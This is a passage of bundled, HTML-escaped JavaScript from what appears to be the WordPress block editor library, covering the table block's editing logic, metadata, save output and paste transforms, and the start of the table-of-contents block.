                  tag: sectionName === &quot;head&quot; ? &quot;th&quot; : &quot;td&quot;
                },
                ...row.cells.slice(columnIndex)
              ]
            };
          })
        ];
      })
    );
  }
  function deleteColumn(state, { columnIndex }) {
    const tableSections = Object.fromEntries(
      Object.entries(state).filter(
        ([key]) =&gt; [&quot;head&quot;, &quot;body&quot;, &quot;foot&quot;].includes(key)
      )
    );
    return Object.fromEntries(
      Object.entries(tableSections).map(([sectionName, section]) =&gt; {
        if (isEmptyTableSection(section)) {
          return [sectionName, section];
        }
        return [
          sectionName,
          section.map((row) =&gt; ({
            cells: row.cells.length &gt;= columnIndex ? row.cells.filter(
              (cell, index) =&gt; index !== columnIndex
            ) : row.cells
          })).filter((row) =&gt; row.cells.length)
        ];
      })
    );
  }
  function toggleSection(state, sectionName) {
    if (!isEmptyTableSection(state[sectionName])) {
      return { [sectionName]: [] };
    }
    const columnCount = state.body?.[0]?.cells?.length ?? 1;
    return insertRow(state, { sectionName, rowIndex: 0, columnCount });
  }
  function isEmptyTableSection(section) {
    return !section || !section.length || section.every(isEmptyRow);
  }
  function isEmptyRow(row) {
    return !(row.cells &amp;&amp; row.cells.length);
  }

  // packages/block-library/build-module/table/edit.mjs
  var import_jsx_runtime495 = __toESM(require_jsx_runtime(), 1);
  var ALIGNMENT_CONTROLS = [
    {
      icon: align_left_default,
      title: (0, import_i18n238.__)(&quot;Align column left&quot;),
      align: &quot;left&quot;
    },
    {
      icon: align_center_default,
      title: (0, import_i18n238.__)(&quot;Align column center&quot;),
      align: &quot;center&quot;
    },
    {
      icon: align_right_default,
      title: (0, import_i18n238.__)(&quot;Align column right&quot;),
      align: &quot;right&quot;
    }
  ];
  var cellAriaLabel = {
    head: (0, import_i18n238.__)(&quot;Header cell text&quot;),
    body: (0, import_i18n238.__)(&quot;Body cell text&quot;),
    foot: (0, import_i18n238.__)(&quot;Footer cell text&quot;)
  };
  var placeholder = {
    head: (0, import_i18n238.__)(&quot;Header label&quot;),
    foot: (0, import_i18n238.__)(&quot;Footer label&quot;)
  };
  function TSection({ name: name123, ...props }) {
    const TagName2 = `t${name123}`;
    return /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(TagName2, { ...props });
  }
  function TableEdit({
    attributes: attributes2,
    setAttributes,
    insertBlocksAfter,
    isSelected: isSingleSelected
  }) {
    const { hasFixedLayout, head, foot } = attributes2;
    const [initialRowCount, setInitialRowCount] = (0, import_element124.useState)(2);
    const [initialColumnCount, setInitialColumnCount] = (0, import_element124.useState)(2);
    const [selectedCell, setSelectedCell] = (0, import_element124.useState)();
    const colorProps = (0, import_block_editor255.__experimentalUseColorProps)(attributes2);
    const borderProps = (0, import_block_editor255.__experimentalUseBorderProps)(attributes2);
    const blockEditingMode = (0, import_block_editor255.useBlockEditingMode)();
    const tableRef = (0, import_element124.useRef)();
    const [hasTableCreated, setHasTableCreated] = (0, import_element124.useState)(false);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    function onChangeInitialColumnCount(count) {
      setInitialColumnCount(count);
    }
    function onChangeInitialRowCount(count) {
      setInitialRowCount(count);
    }
    function onCreateTable(event) {
      event.preventDefault();
      setAttributes(
        createTable({
          rowCount: parseInt(initialRowCount, 10) || 2,
          columnCount: parseInt(initialColumnCount, 10) || 2
        })
      );
      setHasTableCreated(true);
    }
    function onChangeFixedLayout() {
      setAttributes({ hasFixedLayout: !hasFixedLayout });
    }
    const onChange = (0, import_element124.useCallback)(
      function(content) {
        if (!selectedCell) {
          return;
        }
        setAttributes(
          (currentAttributes) =&gt; updateSelectedCell(
            currentAttributes,
            selectedCell,
            (cellAttributes) =&gt; ({
              ...cellAttributes,
              content
            })
          )
        );
      },
      [selectedCell, setAttributes]
    );
    function onChangeColumnAlignment(align) {
      if (!selectedCell) {
        return;
      }
      const columnSelection = {
        type: &quot;column&quot;,
        columnIndex: selectedCell.columnIndex
      };
      const newAttributes = updateSelectedCell(
        attributes2,
        columnSelection,
        (cellAttributes) =&gt; ({
          ...cellAttributes,
          align
        })
      );
      setAttributes(newAttributes);
    }
    function getCellAlignment() {
      if (!selectedCell) {
        return;
      }
      return getCellAttribute(attributes2, selectedCell, &quot;align&quot;);
    }
    function onToggleHeaderSection() {
      setAttributes(toggleSection(attributes2, &quot;head&quot;));
    }
    function onToggleFooterSection() {
      setAttributes(toggleSection(attributes2, &quot;foot&quot;));
    }
    function onInsertRow(delta) {
      if (!selectedCell) {
        return;
      }
      const { sectionName, rowIndex } = selectedCell;
      const newRowIndex = rowIndex + delta;
      setAttributes(
        insertRow(attributes2, {
          sectionName,
          rowIndex: newRowIndex
        })
      );
      setSelectedCell({
        sectionName,
        rowIndex: newRowIndex,
        columnIndex: 0,
        type: &quot;cell&quot;
      });
    }
    function onInsertRowBefore() {
      onInsertRow(0);
    }
    function onInsertRowAfter() {
      onInsertRow(1);
    }
    function onDeleteRow() {
      if (!selectedCell) {
        return;
      }
      const { sectionName, rowIndex } = selectedCell;
      setSelectedCell();
      setAttributes(deleteRow(attributes2, { sectionName, rowIndex }));
    }
    function onInsertColumn(delta = 0) {
      if (!selectedCell) {
        return;
      }
      const { columnIndex } = selectedCell;
      const newColumnIndex = columnIndex + delta;
      setAttributes(
        insertColumn(attributes2, {
          columnIndex: newColumnIndex
        })
      );
      setSelectedCell({
        rowIndex: 0,
        columnIndex: newColumnIndex,
        type: &quot;cell&quot;
      });
    }
    function onInsertColumnBefore() {
      onInsertColumn(0);
    }
    function onInsertColumnAfter() {
      onInsertColumn(1);
    }
    function onDeleteColumn() {
      if (!selectedCell) {
        return;
      }
      const { sectionName, columnIndex } = selectedCell;
      setSelectedCell();
      setAttributes(
        deleteColumn(attributes2, { sectionName, columnIndex })
      );
    }
    (0, import_element124.useEffect)(() =&gt; {
      if (!isSingleSelected) {
        setSelectedCell();
      }
    }, [isSingleSelected]);
    (0, import_element124.useEffect)(() =&gt; {
      if (hasTableCreated) {
        tableRef?.current?.querySelector(&#039;td div[contentEditable=&quot;true&quot;]&#039;)?.focus();
        setHasTableCreated(false);
      }
    }, [hasTableCreated]);
    const sections = [&quot;head&quot;, &quot;body&quot;, &quot;foot&quot;].filter(
      (name123) =&gt; !isEmptyTableSection(attributes2[name123])
    );
    const tableControls = [
      {
        icon: table_row_before_default,
        title: (0, import_i18n238.__)(&quot;Insert row before&quot;),
        isDisabled: !selectedCell,
        onClick: onInsertRowBefore
      },
      {
        icon: table_row_after_default,
        title: (0, import_i18n238.__)(&quot;Insert row after&quot;),
        isDisabled: !selectedCell,
        onClick: onInsertRowAfter
      },
      {
        icon: table_row_delete_default,
        title: (0, import_i18n238.__)(&quot;Delete row&quot;),
        isDisabled: !selectedCell,
        onClick: onDeleteRow
      },
      {
        icon: table_column_before_default,
        title: (0, import_i18n238.__)(&quot;Insert column before&quot;),
        isDisabled: !selectedCell,
        onClick: onInsertColumnBefore
      },
      {
        icon: table_column_after_default,
        title: (0, import_i18n238.__)(&quot;Insert column after&quot;),
        isDisabled: !selectedCell,
        onClick: onInsertColumnAfter
      },
      {
        icon: table_column_delete_default,
        title: (0, import_i18n238.__)(&quot;Delete column&quot;),
        isDisabled: !selectedCell,
        onClick: onDeleteColumn
      }
    ];
    const renderedSections = sections.map((name123) =&gt; /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(TSection, { name: name123, children: attributes2[name123].map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(&quot;tr&quot;, { children: cells.map((cellProps, columnIndex) =&gt; {
      const isSelected = selectedCell?.sectionName === name123 &amp;&amp; selectedCell?.rowIndex === rowIndex &amp;&amp; selectedCell?.columnIndex === columnIndex;
      return /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
        Cell,
        {
          name: name123,
          rowIndex,
          columnIndex,
          onChange: (
            // Only pass the `onChange` handler to the selectedCell.
            // Cell components are memoized, so it&#039;s best to avoid
            // passing in a value that will cause all cells to re-render
            // whenever it changes.
            isSelected ? onChange : void 0
          ),
          setSelectedCell,
          ...cellProps
        },
        columnIndex
      );
    }) }, rowIndex)) }, name123));
    const isEmpty = !sections.length;
    return /* @__PURE__ */ (0, import_jsx_runtime495.jsxs)(&quot;figure&quot;, { ...(0, import_block_editor255.useBlockProps)({ ref: tableRef }), children: [
      !isEmpty &amp;&amp; blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime495.jsxs)(import_jsx_runtime495.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(import_block_editor255.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
          import_block_editor255.AlignmentControl,
          {
            label: (0, import_i18n238.__)(&quot;Change column alignment&quot;),
            alignmentControls: ALIGNMENT_CONTROLS,
            value: getCellAlignment(),
            onChange: (nextAlign) =&gt; onChangeColumnAlignment(nextAlign)
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(import_block_editor255.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
          import_components158.ToolbarDropdownMenu,
          {
            icon: table_default,
            label: (0, import_i18n238.__)(&quot;Edit table&quot;),
            controls: tableControls
          }
        ) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(import_block_editor255.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime495.jsxs)(
        import_components158.__experimentalToolsPanel,
        {
          label: (0, import_i18n238.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              hasFixedLayout: true,
              head: [],
              foot: []
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
              import_components158.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; hasFixedLayout !== true,
                label: (0, import_i18n238.__)(&quot;Fixed width table cells&quot;),
                onDeselect: () =&gt; setAttributes({ hasFixedLayout: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                  import_components158.ToggleControl,
                  {
                    label: (0, import_i18n238.__)(&quot;Fixed width table cells&quot;),
                    checked: !!hasFixedLayout,
                    onChange: onChangeFixedLayout
                  }
                )
              }
            ),
            !isEmpty &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime495.jsxs)(import_jsx_runtime495.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                import_components158.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; head &amp;&amp; head.length,
                  label: (0, import_i18n238.__)(&quot;Header section&quot;),
                  onDeselect: () =&gt; setAttributes({ head: [] }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                    import_components158.ToggleControl,
                    {
                      label: (0, import_i18n238.__)(&quot;Header section&quot;),
                      checked: !!(head &amp;&amp; head.length),
                      onChange: onToggleHeaderSection
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                import_components158.__experimentalToolsPanelItem,
                {
                  hasValue: () =&gt; foot &amp;&amp; foot.length,
                  label: (0, import_i18n238.__)(&quot;Footer section&quot;),
                  onDeselect: () =&gt; setAttributes({ foot: [] }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                    import_components158.ToggleControl,
                    {
                      label: (0, import_i18n238.__)(&quot;Footer section&quot;),
                      checked: !!(foot &amp;&amp; foot.length),
                      onChange: onToggleFooterSection
                    }
                  )
                }
              )
            ] })
          ]
        }
      ) }),
      !isEmpty &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
        &quot;table&quot;,
        {
          className: clsx_default(
            colorProps.className,
            borderProps.className,
            {
              &quot;has-fixed-layout&quot;: hasFixedLayout,
              // This is required in the editor only to overcome
              // the fact the editor rewrites individual border
              // widths into a shorthand format.
              &quot;has-individual-borders&quot;: (0, import_components158.__experimentalHasSplitBorders)(
                attributes2?.style?.border
              )
            }
          ),
          style: { ...colorProps.style, ...borderProps.style },
          children: renderedSections
        }
      ),
      isEmpty ? /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
        import_components158.Placeholder,
        {
          label: (0, import_i18n238.__)(&quot;Table&quot;),
          icon: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(import_block_editor255.BlockIcon, { icon: block_table_default, showColors: true }),
          instructions: (0, import_i18n238.__)(&quot;Insert a table for sharing data.&quot;),
          children: /* @__PURE__ */ (0, import_jsx_runtime495.jsxs)(
            &quot;form&quot;,
            {
              className: &quot;blocks-table__placeholder-form&quot;,
              onSubmit: onCreateTable,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                  import_components158.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    type: &quot;number&quot;,
                    label: (0, import_i18n238.__)(&quot;Column count&quot;),
                    value: initialColumnCount,
                    onChange: onChangeInitialColumnCount,
                    min: &quot;1&quot;,
                    className: &quot;blocks-table__placeholder-input&quot;
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                  import_components158.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    type: &quot;number&quot;,
                    label: (0, import_i18n238.__)(&quot;Row count&quot;),
                    value: initialRowCount,
                    onChange: onChangeInitialRowCount,
                    min: &quot;1&quot;,
                    className: &quot;blocks-table__placeholder-input&quot;
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
                  import_components158.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;primary&quot;,
                    type: &quot;submit&quot;,
                    children: (0, import_i18n238.__)(&quot;Create Table&quot;)
                  }
                )
              ]
            }
          )
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
        Caption,
        {
          attributes: attributes2,
          setAttributes,
          isSelected: isSingleSelected,
          insertBlocksAfter,
          label: (0, import_i18n238.__)(&quot;Table caption text&quot;),
          showToolbarButton: isSingleSelected &amp;&amp; blockEditingMode === &quot;default&quot;
        }
      )
    ] });
  }
  var Cell = (0, import_element124.memo)(function({
    tag: CellTag,
    name: name123,
    scope,
    colspan,
    rowspan,
    rowIndex,
    columnIndex,
    align,
    content,
    onChange,
    setSelectedCell
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
      CellTag,
      {
        scope: CellTag === &quot;th&quot; ? scope : void 0,
        colSpan: colspan,
        rowSpan: rowspan,
        className: clsx_default(
          {
            [`has-text-align-${align}`]: align
          },
          &quot;wp-block-table__cell-content&quot;
        ),
        children: /* @__PURE__ */ (0, import_jsx_runtime495.jsx)(
          import_block_editor255.RichText,
          {
            value: content,
            onChange,
            onFocus: () =&gt; {
              setSelectedCell({
                sectionName: name123,
                rowIndex,
                columnIndex,
                type: &quot;cell&quot;
              });
            },
            &quot;aria-label&quot;: cellAriaLabel[name123],
            placeholder: placeholder[name123]
          }
        )
      }
    );
  });
  var edit_default35 = TableEdit;

  // packages/block-library/build-module/table/block.json
  var block_default106 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/table&quot;,
    title: &quot;Table&quot;,
    category: &quot;text&quot;,
    description: &quot;Create structured content in rows and columns to display information.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      hasFixedLayout: {
        type: &quot;boolean&quot;,
        default: true
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      head: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;thead tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: {
              content: {
                type: &quot;rich-text&quot;,
                source: &quot;rich-text&quot;,
                role: &quot;content&quot;
              },
              tag: {
                type: &quot;string&quot;,
                default: &quot;td&quot;,
                source: &quot;tag&quot;
              },
              scope: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;scope&quot;
              },
              align: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;data-align&quot;
              },
              colspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;colspan&quot;
              },
              rowspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;rowspan&quot;
              }
            }
          }
        }
      },
      body: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tbody tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: {
              content: {
                type: &quot;rich-text&quot;,
                source: &quot;rich-text&quot;,
                role: &quot;content&quot;
              },
              tag: {
                type: &quot;string&quot;,
                default: &quot;td&quot;,
                source: &quot;tag&quot;
              },
              scope: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;scope&quot;
              },
              align: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;data-align&quot;
              },
              colspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;colspan&quot;
              },
              rowspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;rowspan&quot;
              }
            }
          }
        }
      },
      foot: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;tfoot tr&quot;,
        query: {
          cells: {
            type: &quot;array&quot;,
            default: [],
            source: &quot;query&quot;,
            selector: &quot;td,th&quot;,
            query: {
              content: {
                type: &quot;rich-text&quot;,
                source: &quot;rich-text&quot;,
                role: &quot;content&quot;
              },
              tag: {
                type: &quot;string&quot;,
                default: &quot;td&quot;,
                source: &quot;tag&quot;
              },
              scope: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;scope&quot;
              },
              align: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;data-align&quot;
              },
              colspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;colspan&quot;
              },
              rowspan: {
                type: &quot;string&quot;,
                source: &quot;attribute&quot;,
                attribute: &quot;rowspan&quot;
              }
            }
          }
        }
      }
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        __experimentalSkipSerialization: true,
        color: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          style: true,
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: &quot;.wp-block-table &gt; table&quot;,
      spacing: &quot;.wp-block-table&quot;
    },
    styles: [
      {
        name: &quot;regular&quot;,
        label: &quot;Default&quot;,
        isDefault: true
      },
      { name: &quot;stripes&quot;, label: &quot;Stripes&quot; }
    ],
    editorStyle: &quot;wp-block-table-editor&quot;,
    style: &quot;wp-block-table&quot;
  };

  // packages/block-library/build-module/table/save.mjs
  var import_block_editor256 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime496 = __toESM(require_jsx_runtime(), 1);
  function save50({ attributes: attributes2 }) {
    const { hasFixedLayout, head, body, foot, caption } = attributes2;
    const isEmpty = !head.length &amp;&amp; !body.length &amp;&amp; !foot.length;
    if (isEmpty) {
      return null;
    }
    const colorProps = (0, import_block_editor256.__experimentalGetColorClassesAndStyles)(attributes2);
    const borderProps = (0, import_block_editor256.__experimentalGetBorderClassesAndStyles)(attributes2);
    const classes = clsx_default(colorProps.className, borderProps.className, {
      &quot;has-fixed-layout&quot;: hasFixedLayout
    });
    const hasCaption = !import_block_editor256.RichText.isEmpty(caption);
    const Section = ({ type, rows }) =&gt; {
      if (!rows.length) {
        return null;
      }
      const Tag = `t${type}`;
      return /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) =&gt; /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(&quot;tr&quot;, { children: cells.map(
        ({
          content,
          tag,
          scope,
          align,
          colspan,
          rowspan
        }, cellIndex) =&gt; {
          const cellClasses = clsx_default({
            [`has-text-align-${align}`]: align
          });
          return /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(
            import_block_editor256.RichText.Content,
            {
              className: cellClasses ? cellClasses : void 0,
              &quot;data-align&quot;: align,
              tagName: tag,
              value: content,
              scope: tag === &quot;th&quot; ? scope : void 0,
              colSpan: colspan,
              rowSpan: rowspan
            },
            cellIndex
          );
        }
      ) }, rowIndex)) });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime496.jsxs)(&quot;figure&quot;, { ...import_block_editor256.useBlockProps.save(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime496.jsxs)(
        &quot;table&quot;,
        {
          className: classes === &quot;&quot; ? void 0 : classes,
          style: { ...colorProps.style, ...borderProps.style },
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(Section, { type: &quot;head&quot;, rows: head }),
            /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(Section, { type: &quot;body&quot;, rows: body }),
            /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(Section, { type: &quot;foot&quot;, rows: foot })
          ]
        }
      ),
      hasCaption &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime496.jsx)(
        import_block_editor256.RichText.Content,
        {
          tagName: &quot;figcaption&quot;,
          value: caption,
          className: (0, import_block_editor256.__experimentalGetElementClassName)(&quot;caption&quot;)
        }
      )
    ] });
  }

  // packages/block-library/build-module/table/transforms.mjs
  var import_blocks112 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/table/utils.mjs
  function normalizeRowColSpan(rowColSpan) {
    const parsedValue = parseInt(rowColSpan, 10);
    if (!Number.isInteger(parsedValue)) {
      return void 0;
    }
    return parsedValue &lt; 0 || parsedValue === 1 ? void 0 : parsedValue.toString();
  }

  // packages/block-library/build-module/table/transforms.mjs
  var tableContentPasteSchema = ({ phrasingContentSchema }) =&gt; ({
    tr: {
      allowEmpty: true,
      children: {
        th: {
          allowEmpty: true,
          children: phrasingContentSchema,
          attributes: [&quot;scope&quot;, &quot;colspan&quot;, &quot;rowspan&quot;, &quot;style&quot;]
        },
        td: {
          allowEmpty: true,
          children: phrasingContentSchema,
          attributes: [&quot;colspan&quot;, &quot;rowspan&quot;, &quot;style&quot;]
        }
      }
    }
  });
  var tablePasteSchema = (args) =&gt; ({
    table: {
      children: {
        thead: {
          allowEmpty: true,
          children: tableContentPasteSchema(args)
        },
        tfoot: {
          allowEmpty: true,
          children: tableContentPasteSchema(args)
        },
        tbody: {
          allowEmpty: true,
          children: tableContentPasteSchema(args)
        }
      }
    }
  });
  var transforms34 = {
    from: [
      {
        type: &quot;raw&quot;,
        selector: &quot;table&quot;,
        schema: tablePasteSchema,
        transform: (node) =&gt; {
          const attributes2 = Array.from(node.children).reduce(
            (sectionAcc, section) =&gt; {
              if (!section.children.length) {
                return sectionAcc;
              }
              const sectionName = section.nodeName.toLowerCase().slice(1);
              const sectionAttributes = Array.from(
                section.children
              ).reduce((rowAcc, row) =&gt; {
                if (!row.children.length) {
                  return rowAcc;
                }
                const rowAttributes = Array.from(
                  row.children
                ).reduce((colAcc, col) =&gt; {
                  const rowspan = normalizeRowColSpan(
                    col.getAttribute(&quot;rowspan&quot;)
                  );
                  const colspan = normalizeRowColSpan(
                    col.getAttribute(&quot;colspan&quot;)
                  );
                  const { textAlign } = col.style || {};
                  let align;
                  if (textAlign === &quot;left&quot; || textAlign === &quot;center&quot; || textAlign === &quot;right&quot;) {
                    align = textAlign;
                  }
                  colAcc.push({
                    tag: col.nodeName.toLowerCase(),
                    content: col.innerHTML,
                    rowspan,
                    colspan,
                    align
                  });
                  return colAcc;
                }, []);
                rowAcc.push({
                  cells: rowAttributes
                });
                return rowAcc;
              }, []);
              sectionAcc[sectionName] = sectionAttributes;
              return sectionAcc;
            },
            {}
          );
          return (0, import_blocks112.createBlock)(&quot;core/table&quot;, attributes2);
        }
      }
    ]
  };
  var transforms_default35 = transforms34;

  // packages/block-library/build-module/table/index.mjs
  var { name: name107 } = block_default106;
  var settings106 = {
    icon: block_table_default,
    example: {
      attributes: {
        head: [
          {
            cells: [
              {
                content: (0, import_i18n239.__)(&quot;Version&quot;),
                tag: &quot;th&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;Jazz Musician&quot;),
                tag: &quot;th&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;Release Date&quot;),
                tag: &quot;th&quot;
              }
            ]
          }
        ],
        body: [
          {
            cells: [
              {
                content: &quot;5.2&quot;,
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;Jaco Pastorius&quot;),
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;May 7, 2019&quot;),
                tag: &quot;td&quot;
              }
            ]
          },
          {
            cells: [
              {
                content: &quot;5.1&quot;,
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;Betty Carter&quot;),
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;February 21, 2019&quot;),
                tag: &quot;td&quot;
              }
            ]
          },
          {
            cells: [
              {
                content: &quot;5.0&quot;,
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;Bebo Vald\xE9s&quot;),
                tag: &quot;td&quot;
              },
              {
                content: (0, import_i18n239.__)(&quot;December 6, 2018&quot;),
                tag: &quot;td&quot;
              }
            ]
          }
        ]
      },
      viewportWidth: 450
    },
    transforms: transforms_default35,
    edit: edit_default35,
    save: save50,
    deprecated: deprecated_default50
  };
  var init106 = () =&gt; initBlock({ name: name107, metadata: block_default106, settings: settings106 });

  // packages/block-library/build-module/table-of-contents/index.mjs
  var table_of_contents_exports = {};
  __export(table_of_contents_exports, {
    init: () =&gt; init107,
    metadata: () =&gt; block_default107,
    name: () =&gt; name108,
    settings: () =&gt; settings107
  });
  var import_i18n241 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/table-of-contents/block.json
  var block_default107 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/table-of-contents&quot;,
    title: &quot;Table of Contents&quot;,
    category: &quot;design&quot;,
    description: &quot;Summarize your post with a list of headings. Add HTML anchors to Heading blocks to link them here.&quot;,
    keywords: [&quot;document outline&quot;, &quot;summary&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      headings: {
        type: &quot;array&quot;,
        items: {
          type: &quot;object&quot;
        },
        default: []
      },
      onlyIncludeCurrentPage: {
        type: &quot;boolean&quot;,
        default: false
      },
      maxLevel: {
        type: &quot;number&quot;
      },
      ordered: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    supports: {
      anchor: true,
      ariaLabel: true,
      html: false,
      color: {
        text: true,
        background: true,
        gradients: true,
        link: true
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-table-of-contents&quot;
  };

  // packages/block-library/build-module/table-of-contents/edit.mjs
  var import_block_editor258 = __toESM(require_block_editor(), 1);
  var import_blocks113 = __toESM(require_blocks(), 1);
  var import_components159 = __toESM(require_components(), 1);
  var import_data143 = __toESM(require_data(), 1);
  var import_element126 = __toESM(require_element(), 1);
  var import_i18n240 = __toESM(require_i18n(), 1);
  var import_compose58 = __toESM(require_compose(), 1);
  var import_notices18 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/table-of-contents/list.mjs
  var import_jsx_runtime497 = __toESM(require_jsx_runtime(), 1);
  var ENTRY_CLASS_NAME = &quot;wp-block-table-of-contents__entry&quot;;
  function TableOfContentsList({
    nestedHeadingList,
    disableLinkActivation,
    onClick,
    ordered = true
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime497.jsx)(import_jsx_runtime497.Fragment, { children: nestedHeadingList.map((node, index) =&gt; {
      const { content, link } = node.heading;
      const entry = link ? /* @__PURE__ */ (0, import_jsx_runtime497.jsx)(
        &quot;a&quot;,
        {
          className: ENTRY_CLASS_NAME,
          href: link,
          &quot;aria-disabled&quot;: disableLinkActivation || void 0,
          onClick: disableLinkActivation &amp;&amp; &quot;function&quot; === typeof onClick ? onClick : void 0,
          children: content
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime497.jsx)(&quot;span&quot;, { className: ENTRY_CLASS_NAME, children: content });
      const NestedListTag = ordered ? &quot;ol&quot; : &quot;ul&quot;;
      return /* @__PURE__ */ (0, import_jsx_runtime497.jsxs)(&quot;li&quot;, { children: [
        entry,
